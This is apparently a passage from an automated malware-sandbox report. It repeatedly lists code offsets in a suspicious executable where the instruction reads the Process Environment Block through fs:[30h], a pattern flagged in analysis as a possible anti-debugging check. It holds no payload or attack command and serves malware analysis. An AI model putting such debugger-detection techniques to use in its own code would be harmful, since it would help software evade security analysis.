Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152A130 mov eax, dword ptr fs:[00000030h]	2_2_0152A130
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D7128 mov eax, dword ptr fs:[00000030h]	2_2_014D7128
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D7128 mov eax, dword ptr fs:[00000030h]	2_2_014D7128
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0155F13E mov eax, dword ptr fs:[00000030h]	2_2_0155F13E
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B01C0 mov eax, dword ptr fs:[00000030h]	2_2_014B01C0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B01C0 mov eax, dword ptr fs:[00000030h]	2_2_014B01C0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B51C0 mov eax, dword ptr fs:[00000030h]	2_2_014B51C0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B51C0 mov eax, dword ptr fs:[00000030h]	2_2_014B51C0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B51C0 mov eax, dword ptr fs:[00000030h]	2_2_014B51C0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B51C0 mov eax, dword ptr fs:[00000030h]	2_2_014B51C0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014981EB mov eax, dword ptr fs:[00000030h]	2_2_014981EB
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014AA1E3 mov eax, dword ptr fs:[00000030h]	2_2_014AA1E3
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014AA1E3 mov eax, dword ptr fs:[00000030h]	2_2_014AA1E3
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014AA1E3 mov eax, dword ptr fs:[00000030h]	2_2_014AA1E3
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014AA1E3 mov eax, dword ptr fs:[00000030h]	2_2_014AA1E3
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014AA1E3 mov eax, dword ptr fs:[00000030h]	2_2_014AA1E3
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CB1E0 mov eax, dword ptr fs:[00000030h]	2_2_014CB1E0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CB1E0 mov eax, dword ptr fs:[00000030h]	2_2_014CB1E0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CB1E0 mov eax, dword ptr fs:[00000030h]	2_2_014CB1E0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CB1E0 mov eax, dword ptr fs:[00000030h]	2_2_014CB1E0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CB1E0 mov eax, dword ptr fs:[00000030h]	2_2_014CB1E0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CB1E0 mov eax, dword ptr fs:[00000030h]	2_2_014CB1E0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CB1E0 mov eax, dword ptr fs:[00000030h]	2_2_014CB1E0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A91E5 mov eax, dword ptr fs:[00000030h]	2_2_014A91E5
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A91E5 mov eax, dword ptr fs:[00000030h]	2_2_014A91E5
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015681EE mov eax, dword ptr fs:[00000030h]	2_2_015681EE
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015681EE mov eax, dword ptr fs:[00000030h]	2_2_015681EE
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014991F0 mov eax, dword ptr fs:[00000030h]	2_2_014991F0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014991F0 mov eax, dword ptr fs:[00000030h]	2_2_014991F0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B01F1 mov eax, dword ptr fs:[00000030h]	2_2_014B01F1
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B01F1 mov eax, dword ptr fs:[00000030h]	2_2_014B01F1
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014B01F1 mov eax, dword ptr fs:[00000030h]	2_2_014B01F1
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CF1F0 mov eax, dword ptr fs:[00000030h]	2_2_014CF1F0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CF1F0 mov eax, dword ptr fs:[00000030h]	2_2_014CF1F0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A4180 mov eax, dword ptr fs:[00000030h]	2_2_014A4180
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A4180 mov eax, dword ptr fs:[00000030h]	2_2_014A4180
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A4180 mov eax, dword ptr fs:[00000030h]	2_2_014A4180
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C9194 mov eax, dword ptr fs:[00000030h]	2_2_014C9194
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E1190 mov eax, dword ptr fs:[00000030h]	2_2_014E1190
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E1190 mov eax, dword ptr fs:[00000030h]	2_2_014E1190
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015751B6 mov eax, dword ptr fs:[00000030h]	2_2_015751B6
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DE1A4 mov eax, dword ptr fs:[00000030h]	2_2_014DE1A4
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DE1A4 mov eax, dword ptr fs:[00000030h]	2_2_014DE1A4
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D31BE mov eax, dword ptr fs:[00000030h]	2_2_014D31BE
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D31BE mov eax, dword ptr fs:[00000030h]	2_2_014D31BE
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D41BB mov ecx, dword ptr fs:[00000030h]	2_2_014D41BB
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D41BB mov eax, dword ptr fs:[00000030h]	2_2_014D41BB
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D41BB mov eax, dword ptr fs:[00000030h]	2_2_014D41BB
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D0044 mov eax, dword ptr fs:[00000030h]	2_2_014D0044
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0157505B mov eax, dword ptr fs:[00000030h]	2_2_0157505B
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01526040 mov eax, dword ptr fs:[00000030h]	2_2_01526040
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A1051 mov eax, dword ptr fs:[00000030h]	2_2_014A1051
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A1051 mov eax, dword ptr fs:[00000030h]	2_2_014A1051
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01549060 mov eax, dword ptr fs:[00000030h]	2_2_01549060
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A7072 mov eax, dword ptr fs:[00000030h]	2_2_014A7072
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A6074 mov eax, dword ptr fs:[00000030h]	2_2_014A6074
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A6074 mov eax, dword ptr fs:[00000030h]	2_2_014A6074
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A8009 mov eax, dword ptr fs:[00000030h]	2_2_014A8009
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C5004 mov eax, dword ptr fs:[00000030h]	2_2_014C5004
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C5004 mov ecx, dword ptr fs:[00000030h]	2_2_014C5004
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E2010 mov ecx, dword ptr fs:[00000030h]	2_2_014E2010
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149D02D mov eax, dword ptr fs:[00000030h]	2_2_0149D02D
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014BB0D0 mov eax, dword ptr fs:[00000030h]	2_2_014BB0D0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149B0D6 mov eax, dword ptr fs:[00000030h]	2_2_0149B0D6
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149B0D6 mov eax, dword ptr fs:[00000030h]	2_2_0149B0D6
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149B0D6 mov eax, dword ptr fs:[00000030h]	2_2_0149B0D6
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149B0D6 mov eax, dword ptr fs:[00000030h]	2_2_0149B0D6
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014990F8 mov eax, dword ptr fs:[00000030h]	2_2_014990F8
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014990F8 mov eax, dword ptr fs:[00000030h]	2_2_014990F8
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014990F8 mov eax, dword ptr fs:[00000030h]	2_2_014990F8
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014990F8 mov eax, dword ptr fs:[00000030h]	2_2_014990F8
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152C0E0 mov ecx, dword ptr fs:[00000030h]	2_2_0152C0E0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DD0F0 mov eax, dword ptr fs:[00000030h]	2_2_014DD0F0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DD0F0 mov ecx, dword ptr fs:[00000030h]	2_2_014DD0F0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149C0F6 mov eax, dword ptr fs:[00000030h]	2_2_0149C0F6
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01527090 mov eax, dword ptr fs:[00000030h]	2_2_01527090
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01536090 mov eax, dword ptr fs:[00000030h]	2_2_01536090
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01574080 mov eax, dword ptr fs:[00000030h]	2_2_01574080
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01574080 mov eax, dword ptr fs:[00000030h]	2_2_01574080
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01574080 mov eax, dword ptr fs:[00000030h]	2_2_01574080
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01574080 mov eax, dword ptr fs:[00000030h]	2_2_01574080
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01574080 mov eax, dword ptr fs:[00000030h]	2_2_01574080
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01574080 mov eax, dword ptr fs:[00000030h]	2_2_01574080
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01574080 mov eax, dword ptr fs:[00000030h]	2_2_01574080
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149C090 mov eax, dword ptr fs:[00000030h]	2_2_0149C090
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149A093 mov ecx, dword ptr fs:[00000030h]	2_2_0149A093
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015750B7 mov eax, dword ptr fs:[00000030h]	2_2_015750B7
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014E00A5 mov eax, dword ptr fs:[00000030h]	2_2_014E00A5
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0154F0A5 mov eax, dword ptr fs:[00000030h]	2_2_0154F0A5
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0154F0A5 mov eax, dword ptr fs:[00000030h]	2_2_0154F0A5
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0154F0A5 mov eax, dword ptr fs:[00000030h]	2_2_0154F0A5
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0154F0A5 mov eax, dword ptr fs:[00000030h]	2_2_0154F0A5
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0154F0A5 mov eax, dword ptr fs:[00000030h]	2_2_0154F0A5
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0154F0A5 mov eax, dword ptr fs:[00000030h]	2_2_0154F0A5
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0154F0A5 mov eax, dword ptr fs:[00000030h]	2_2_0154F0A5
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015260A0 mov eax, dword ptr fs:[00000030h]	2_2_015260A0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015260A0 mov eax, dword ptr fs:[00000030h]	2_2_015260A0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015260A0 mov eax, dword ptr fs:[00000030h]	2_2_015260A0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015260A0 mov eax, dword ptr fs:[00000030h]	2_2_015260A0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015260A0 mov eax, dword ptr fs:[00000030h]	2_2_015260A0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015260A0 mov eax, dword ptr fs:[00000030h]	2_2_015260A0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015260A0 mov eax, dword ptr fs:[00000030h]	2_2_015260A0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0155B0AF mov eax, dword ptr fs:[00000030h]	2_2_0155B0AF
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01498347 mov eax, dword ptr fs:[00000030h]	2_2_01498347
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01498347 mov eax, dword ptr fs:[00000030h]	2_2_01498347
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01498347 mov eax, dword ptr fs:[00000030h]	2_2_01498347
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DA350 mov eax, dword ptr fs:[00000030h]	2_2_014DA350
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0151E372 mov eax, dword ptr fs:[00000030h]	2_2_0151E372
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0151E372 mov eax, dword ptr fs:[00000030h]	2_2_0151E372
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0151E372 mov eax, dword ptr fs:[00000030h]	2_2_0151E372
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0151E372 mov eax, dword ptr fs:[00000030h]	2_2_0151E372
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01520371 mov eax, dword ptr fs:[00000030h]	2_2_01520371
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01520371 mov eax, dword ptr fs:[00000030h]	2_2_01520371
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014AB360 mov eax, dword ptr fs:[00000030h]	2_2_014AB360
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014AB360 mov eax, dword ptr fs:[00000030h]	2_2_014AB360
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014AB360 mov eax, dword ptr fs:[00000030h]	2_2_014AB360
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014AB360 mov eax, dword ptr fs:[00000030h]	2_2_014AB360
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014AB360 mov eax, dword ptr fs:[00000030h]	2_2_014AB360
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014AB360 mov eax, dword ptr fs:[00000030h]	2_2_014AB360
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DE363 mov eax, dword ptr fs:[00000030h]	2_2_014DE363
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DE363 mov eax, dword ptr fs:[00000030h]	2_2_014DE363
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DE363 mov eax, dword ptr fs:[00000030h]	2_2_014DE363
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DE363 mov eax, dword ptr fs:[00000030h]	2_2_014DE363
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DE363 mov eax, dword ptr fs:[00000030h]	2_2_014DE363
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DE363 mov eax, dword ptr fs:[00000030h]	2_2_014DE363
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DE363 mov eax, dword ptr fs:[00000030h]	2_2_014DE363
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014DE363 mov eax, dword ptr fs:[00000030h]	2_2_014DE363
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C237A mov eax, dword ptr fs:[00000030h]	2_2_014C237A
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01499303 mov eax, dword ptr fs:[00000030h]	2_2_01499303
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01499303 mov eax, dword ptr fs:[00000030h]	2_2_01499303
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D631F mov eax, dword ptr fs:[00000030h]	2_2_014D631F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014BE310 mov eax, dword ptr fs:[00000030h]	2_2_014BE310
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014BE310 mov eax, dword ptr fs:[00000030h]	2_2_014BE310
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014BE310 mov eax, dword ptr fs:[00000030h]	2_2_014BE310
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152330C mov eax, dword ptr fs:[00000030h]	2_2_0152330C
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152330C mov eax, dword ptr fs:[00000030h]	2_2_0152330C
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152330C mov eax, dword ptr fs:[00000030h]	2_2_0152330C
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152330C mov eax, dword ptr fs:[00000030h]	2_2_0152330C
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0155F30A mov eax, dword ptr fs:[00000030h]	2_2_0155F30A
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149E328 mov eax, dword ptr fs:[00000030h]	2_2_0149E328
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149E328 mov eax, dword ptr fs:[00000030h]	2_2_0149E328
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149E328 mov eax, dword ptr fs:[00000030h]	2_2_0149E328
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C332D mov eax, dword ptr fs:[00000030h]	2_2_014C332D
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01573336 mov eax, dword ptr fs:[00000030h]	2_2_01573336
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D8322 mov eax, dword ptr fs:[00000030h]	2_2_014D8322
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D8322 mov eax, dword ptr fs:[00000030h]	2_2_014D8322
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D8322 mov eax, dword ptr fs:[00000030h]	2_2_014D8322
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A63CB mov eax, dword ptr fs:[00000030h]	2_2_014A63CB
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_015243D5 mov eax, dword ptr fs:[00000030h]	2_2_015243D5
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149E3C0 mov eax, dword ptr fs:[00000030h]	2_2_0149E3C0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149E3C0 mov eax, dword ptr fs:[00000030h]	2_2_0149E3C0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149E3C0 mov eax, dword ptr fs:[00000030h]	2_2_0149E3C0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149C3C7 mov eax, dword ptr fs:[00000030h]	2_2_0149C3C7
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0152E3DD mov eax, dword ptr fs:[00000030h]	2_2_0152E3DD
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D33D0 mov eax, dword ptr fs:[00000030h]	2_2_014D33D0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D43D0 mov ecx, dword ptr fs:[00000030h]	2_2_014D43D0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A1380 mov eax, dword ptr fs:[00000030h]	2_2_014A1380
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A1380 mov eax, dword ptr fs:[00000030h]	2_2_014A1380
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A1380 mov eax, dword ptr fs:[00000030h]	2_2_014A1380
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A1380 mov eax, dword ptr fs:[00000030h]	2_2_014A1380
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A1380 mov eax, dword ptr fs:[00000030h]	2_2_014A1380
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014BF380 mov eax, dword ptr fs:[00000030h]	2_2_014BF380
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014BF380 mov eax, dword ptr fs:[00000030h]	2_2_014BF380
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014BF380 mov eax, dword ptr fs:[00000030h]	2_2_014BF380
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014BF380 mov eax, dword ptr fs:[00000030h]	2_2_014BF380
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014BF380 mov eax, dword ptr fs:[00000030h]	2_2_014BF380
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014BF380 mov eax, dword ptr fs:[00000030h]	2_2_014BF380
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CA390 mov eax, dword ptr fs:[00000030h]	2_2_014CA390
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CA390 mov eax, dword ptr fs:[00000030h]	2_2_014CA390
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014CA390 mov eax, dword ptr fs:[00000030h]	2_2_014CA390
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0155F38A mov eax, dword ptr fs:[00000030h]	2_2_0155F38A
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0151C3B0 mov eax, dword ptr fs:[00000030h]	2_2_0151C3B0
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A93A6 mov eax, dword ptr fs:[00000030h]	2_2_014A93A6
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A93A6 mov eax, dword ptr fs:[00000030h]	2_2_014A93A6
